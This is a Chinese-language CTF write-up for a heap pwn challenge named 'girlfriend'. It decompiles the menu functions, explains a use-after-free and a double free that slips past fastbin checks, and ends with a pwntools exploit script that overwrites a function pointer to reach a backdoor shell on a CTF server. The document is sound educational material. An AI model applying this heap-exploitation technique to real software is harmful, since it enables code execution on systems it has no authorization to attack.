-
Checksec查看题目类型:

-
IDA分析
main():
根据分析main函数的主要功能就是menu菜单的实现,用户输入对应功能的编号即可使用这个功能点 -
跟进
add_girlfriend()进行分析:unsigned __int64 add_girlfriend(){__int64 v0; // rbxint n9; // [rsp+8h] [rbp-28h]int size; // [rsp+Ch] [rbp-24h]char buf[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+18h] [rbp-18h]v5 = __readfsqword(0x28u);if ( count <= 10 ){for ( n9 = 0; n9 <= 9; ++n9 ){if ( !*(&girlfriendlist + n9) ){*(&girlfriendlist + n9) = malloc(0x10u);if ( !*(&girlfriendlist + n9) ){puts("Alloca Error");exit(-1);}*(_QWORD *)*(&girlfriendlist + n9) = print_girlfriend_name;printf("Her name size is :");read(0, buf, 8u);size = atoi(buf);v0 = (__int64)*(&girlfriendlist + n9);*(_QWORD *)(v0 + 8) = malloc(size);if ( !*((_QWORD *)*(&girlfriendlist + n9) + 1) ){puts("Alloca Error");exit(-1);}printf("Her name is :");read(0, *((void **)*(&girlfriendlist + n9) + 1), size);puts("Success !Wow YDS get a girlfriend!");++count;return __readfsqword(0x28u) ^ v5;}}}else{puts("Full");}return __readfsqword(0x28u) ^ v5;}首先检查全局计数器count是否超过10,若未满则遍历girlfriendlist数组(固定 10 个位置)寻找第一个位置,并通过malloc(0x10)分配一个16字节的结构体块并将地址存入该槽位,然后在结构体的前8字节(偏移+0)写入函数指针print_girlfriend_name,接着获取用户输入的名字长度size,再用malloc(size)分配对应大小的名字堆块并将地址存入结构体的后8字节(偏移 +8),最后再次读取用户输入的实际名字字符串写入该名字块,成功后输出提示并将count加1,循环此操作
int __fastcall print_girlfriend_name(__int64 a1) # a1 = n9{return puts(*(const char **)(a1 + 8));}print_girlfriend_name方法作用就是将用户传入的女友名字打印到终端上
-
跟进
del_girlfriend()进行分析:unsigned __int64 del_girlfriend(){int count; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4u);count = atoi(buf);if ( count >= 0 && count < ::count ){if ( *(&girlfriendlist + count) ){free(*((void **)*(&girlfriendlist + count) + 1));free(*(&girlfriendlist + count));puts("Success");}}else{puts("Out of bound!");}return __readfsqword(0x28u) ^ v3;}del_girlfriend 函数先读取用户输入的索引,并检查该索引是否在有效范围(0 到全局 count-1)内,若有效则进一步检查对应的 girlfriendlist 空间是否为空,随后先释放该空间所指向结构体中偏移 +8 处存储的名字堆块,再释放结构体堆块本身并输出Success,但整个过程并没有将 girlfriendlist 数组中对应指针置空,也没有减少全局 count 计数器
-
跟进
print_girlfriend()进行分析:unsigned __int64 print_girlfriend(){int count; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4u);count = atoi(buf);if ( count >= 0 && count < ::count ){if ( *(&girlfriendlist + count) )(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + count))(*(&girlfriendlist + count));}else{puts("Out of bound!");}return __readfsqword(0x28u) ^ v3;}print_girlfriend 函数先读取用户输入的索引,检查其是否在有效范围(0 到全局 count-1)内,若有效且对应 girlfriendlist 空间非空,则通过强制类型转换将该空间指向的结构体块开头 8 字节解释为一个函数指针,并调用该函数同时传入结构体自身地址作为参数,也就是调用print_girlfriend_name函数打印女友名字
-
此外该程序提供了后门:

-
实验场景模拟:
- 攻击者可先申请两个 Girlfriend,分别为 A 和 B,且名字大小均设置为 0x20(实际名字块大小 0x30)
- 此时内存布局:
- A_struct(malloc(0x10),chunk 大小 0x20)在 0x100
- A_name(malloc(0x20),chunk 大小 0x30)在 0x200
- B_struct(malloc(0x10),chunk 大小 0x20)在 0x300
- B_name(malloc(0x20),chunk 大小 0x30)在 0x400
- girlfriendlist[0] = 0x100,girlfriendlist[1] = 0x300,count = 2
- 调用 del_girlfriend() 释放 A(索引 0):
- 程序先 free(0x200)(A_name)→ 0x200 进入 0x30 fastbin
- 再 free(0x100)(A_struct)→ 0x100 进入 0x20 fastbin
- 但 girlfriendlist[0] 仍为 0x100,count 仍为 2(未减少)
- 再次调用 add_girlfriend() 创建 C,名字大小仍设为 0x20:
- 寻找空闲槽位 → 索引 2 为空
- 为 C 分配结构体:从 0x20 fastbin 头部取走 0x100 → girlfriendlist[2] = 0x100
- 为 C 分配名字:从 0x30 fastbin 头部取走 0x200 → C 的名字指针指向 0x200
- 此时 girlfriendlist[0] 和 girlfriendlist[2] 同时指向 0x100(两个索引对应同一个结构体块)
- 向 0x200 写入名字数据(任意内容),count 增加为 3
- 再次调用 del_girlfriend() 释放 A(索引 0):
- 程序再次 free(0x200)(C 的名字块,即原 A_name)→ 0x200 重新进入 0x30 fastbin
- 程序再次 free(0x100)(C 的结构体块,即原 A_struct)→ 0x100 重新进入 0x20 fastbin
- 此时绕过了 double free 检测,因为中间夹了一次分配
- 调用 del_girlfriend() 释放 B(索引 1):
- 程序先 free(0x400)(B_name)→ 0x30 fastbin 链变为 0x400 → 0x200
- 再 free(0x300)(B_struct)→ 0x20 fastbin 链变为 0x300 → 0x100
- 现在 fastbin 状态:
- 0x20 fastbin(结构体大小):head -> 0x300 -> 0x100
- 0x30 fastbin(名字大小):head -> 0x400 -> 0x200
- girlfriendlist[0] 和 girlfriendlist[2] 仍然指向 0x100
- 调用 add_girlfriend() 创建 D,名字大小改为 0x10(实际 chunk 大小 0x20):
- 为 D 分配结构体:从 0x20 fastbin 头部取走 0x300 → girlfriendlist[3] = 0x300
- 为 D 分配名字:再次从 0x20 fastbin 头部取走 0x100 → D 的名字指针指向 0x100
- 向 0x100 写入名字数据(backdoor)
- 此时 0x100 开头 8 字节的原函数指针被覆盖为 backdoor 地址
- 而 girlfriendlist[0] 依然指向 0x100
- 调用 print_girlfriend() 打印 A(索引 0):
- 程序检查 girlfriendlist[0] 非空,调用 *(0x100) 处的函数指针
- 实际执行 backdoor() → 输出信息并启动 /bin/sh
-
EXP脚本:
from pwn import *# p = process('./girlfriend')p = remote('node4.anna.nssctf.cn', 24511)backdoor = 0x400B9Cdef add(size, name):p.sendlineafter(b'Your choice :', b'1')p.sendlineafter(b'Her name size is :', str(size).encode())p.sendafter(b'Her name is :', name)def delete(id):p.sendlineafter(b'Your choice :', b'2')p.sendlineafter(b'Index :', str(id))def look(id):p.sendlineafter(b'Your choice :', b'3')p.sendlineafter(b'Index :', str(id))add(0x20, b'A')add(0x20, b'B')delete(0)add(0x20, b'C')delete(0)delete(1)add(0x10, p64(backdoor))look(0)p.interactive()